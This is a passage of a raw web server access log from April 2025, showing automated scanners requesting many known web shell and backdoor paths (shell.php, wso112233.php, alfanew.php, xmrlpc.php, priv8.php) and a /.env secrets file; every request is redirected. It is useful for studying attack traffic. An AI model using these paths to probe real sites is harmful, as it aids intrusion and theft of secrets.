[19/Apr/2025:06:31:29 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:31 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:32 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:33 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:34 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:34 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:35 -0400] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:36 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:37 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:39 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:40 -0400] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:41 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:43 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:44 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:45 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:46 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:47 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:48 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:49 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:17 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:20 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:22 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:24 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:27 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:29 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:32 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:35 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:37 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:41 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:43 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:45 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:46 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:48 -0400] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:49 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:50 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:52 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:54 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:55 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:57 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:00 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:01 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:05 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:12 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:49 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:50 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:51 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:52 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:52 -0400] "GET /img/img.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:53 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:54 -0400] "GET /wp-includes/customize/123.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:54 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:55 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:56 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:56 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:57 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:58 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:59 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:00 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:01 -0400] "GET /wp-content/uploads/2014/was-wp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:03 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:04 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:05 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:07 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:08 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:10 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:11 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:13 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:15 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:17 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:18 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:20 -0400] "GET /wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:20 -0400] "GET /yanz.php/wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:21 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:23 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:32:23 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 49.51.180.2 - - [19/Apr/2025:06:49:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 117.24.81.203 - - [19/Apr/2025:07:13:11 -0400] "GET / HTTP/1.1" 301 795 "https://www.baidu.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" 113.116.195.122 - - [19/Apr/2025:07:17:53 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [19/Apr/2025:07:17:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 182.204.181.66 - - [19/Apr/2025:07:25:41 -0400] "GET //about-us HTTP/1.1" 301 795 "https://www.baidu.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" 58.52.143.194 - - [19/Apr/2025:07:25:46 -0400] "GET //contact-us HTTP/1.1" 301 795 "https://www.baidu.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36" 170.106.113.159 - - [19/Apr/2025:08:14:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.96 - - [19/Apr/2025:08:17:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [19/Apr/2025:08:17:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 108.167.146.125 - - [19/Apr/2025:08:22:12 -0400] "HEAD / HTTP/1.1" 301 0 "-" "-" 2406:d501:f:deb::a01e - - [19/Apr/2025:08:39:15 -0400] "POST /?s=captcha&test=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 45.138.16.107 - - [19/Apr/2025:08:44:59 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1" 107.151.219.200 - - [19/Apr/2025:09:06:14 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:18 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:21 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:29 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:31 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:33 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:35 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:41 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:43 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:45 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:49 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:51 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:52 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:54 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:57 -0400] "GET /corn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:06:59 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.219.200 - - [19/Apr/2025:09:07:01 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 222.186.57.126 - - [19/Apr/2025:10:24:49 -0400] "GET /static/images/nopic.png HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 13.37.108.181 - - [19/Apr/2025:10:28:18 -0400] "GET / HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:28:31 -0400] "GET /wp HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:28:47 -0400] "GET /wordpress HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:28:57 -0400] "GET /mail HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:08 -0400] "GET /wordpress HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:19 -0400] "GET /old HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:25 -0400] "GET /backup HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:47 -0400] "GET /new HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:51 -0400] "GET /test HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:29:59 -0400] "GET /wp HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:30:12 -0400] "GET /temp HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.37.108.181 - - [19/Apr/2025:10:30:26 -0400] "GET /blog HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 60.188.57.0 - - [19/Apr/2025:10:41:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.138.83.8 - - [19/Apr/2025:11:15:10 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 52.138.83.8 - - [19/Apr/2025:11:15:13 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 195.2.81.242 - - [19/Apr/2025:11:31:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 91.227.68.185 - - [19/Apr/2025:11:47:55 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:16 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:19 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:23 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:27 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:29 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:35 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:39 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:44 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:49 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:52:59 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:01 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:04 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:08 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:12 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:16 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:20 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:24 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:29 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:33 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:11:53:36 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 